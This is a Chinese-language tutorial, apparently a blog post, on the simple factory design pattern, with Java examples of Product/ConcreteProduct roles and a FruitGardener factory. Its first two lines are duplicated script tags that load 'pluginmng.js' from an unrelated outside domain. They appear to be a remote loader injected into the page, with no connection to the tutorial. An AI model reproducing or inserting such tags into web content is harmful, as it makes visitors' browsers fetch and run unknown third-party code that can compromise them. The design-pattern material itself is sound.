<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
创建模式,是对类得实例化过程的抽象化,一些系统在创建对象时,要动态的决定怎么样创建、创建哪些以及如何组合和表示这些对象。创建模式分为类得创建模式和对象的创建模式。
类得创建模式:使用继承关系,将类的创建延迟到子类,从而屏蔽客户端的得到哪些类得信息,并且隐藏了这些类的实例是如何被创建和组装的。
对象的创建模式:把对象的创建过程动态地委派给另一个对象,从而动态地决定客户端将得到哪些具体类的实例。
一:简单工厂模式
也叫做静态工厂模式,顾名思义,将由一个工厂对象决定创建出哪一种产品类的实例。
模式结构 : 工厂 -- à 具体产品,具体产品继承自抽象产品。
由工厂方法根据传入的参数决定创建哪一种产品类。
角色:
工厂类( Creator )角色:在客户端的调用下创建产品对象,里面包含与应用相关的逻辑
抽象产品( Product )角色:工厂方法创建的产品的父类,非必要角色
具体产品( ConcreteProduct )角色:工厂方法创建的实例
代码示例
1 , 三种角色
package com.co.patterns.simpleFactory.demo;
public interface Product {
}
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct implements Product {
public ConcreteProduct() {
}
}
package com.co.patterns.simpleFactory.demo;
public class Factory {
public static Product createProduct() {
return new ConcreteProduct();
}
}
2 , 系统中产品角色单一,省略抽象产品角色
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct {
public ConcreteProduct() {
}
}
package com.co.patterns.simpleFactory.demo;
public class Factory {
public static ConcreteProduct createProduct() {
return new ConcreteProduct();
}
}
3,工厂与抽象产品合并
package com.co.patterns.simpleFactory.demo;
public abstract class Product {
public static Product createProduct() {
return new ConcreteProduct();
}
}
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct extends Product {
public ConcreteProduct() {
}
}
4 , 合并三个角色
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct {
public ConcreteProduct() {
}
public static ConcreteProduct createProduct() {
return new ConcreteProduct();
}
}
简单工厂模式是一种非常基本的设计模式,它会在很多模式中出现。
下面是一个具有产品等级结构的例子:
package com.co.patterns.simpleFactory;
public interface Fruit {
public void plant();
public void grow();
public void harvist();
public void show();
}
public class Apple implements Fruit {
public void grow() {
System.out.println("Apple growing");
}
public void harvist() {
System.out.println("Apple harvisting");
}
public void plant() {
System.out.println("Apple planting");
}
public void show() {
plant();
grow();
harvist();
}
}
public class Grape implements Fruit {
public void grow() {
System.out.println("Grape growing");
}
public void harvist() {
System.out.println("Grape harvisting");
}
public void plant() {
System.out.println("Grape planting");
}
public void show() {
plant();
grow();
harvist();
}
}
public class FruitGardener {
public static Fruit factory(String name) throws FruitInfoException {
if ("apple".equalsIgnoreCase(name)) {
return new Apple();
} else if ("grape".equalsIgnoreCase(name)) {
return new Grape();
} else {
throw new FruitInfoException("The Fruit info is Error");
}
}
}
public class Client {
public static void main(String[] args) {
try {
Fruit f1 = FruitGardener.factory("Apple");
f1.show();
Fruit f2 = FruitGardener.factory("Grape");
f2.show();
Fruit f3 = FruitGardener.factory("Aple");
f3.show();
} catch (FruitInfoException e) {
System.err.println(e.getMessage());
}
}
}
public class FruitInfoException extends Exception {
public FruitInfoException(String msg) {
super(msg);
}
}
在工厂中可以有多个工厂方法,例如java.text.DateFormat类,它是其子类的工厂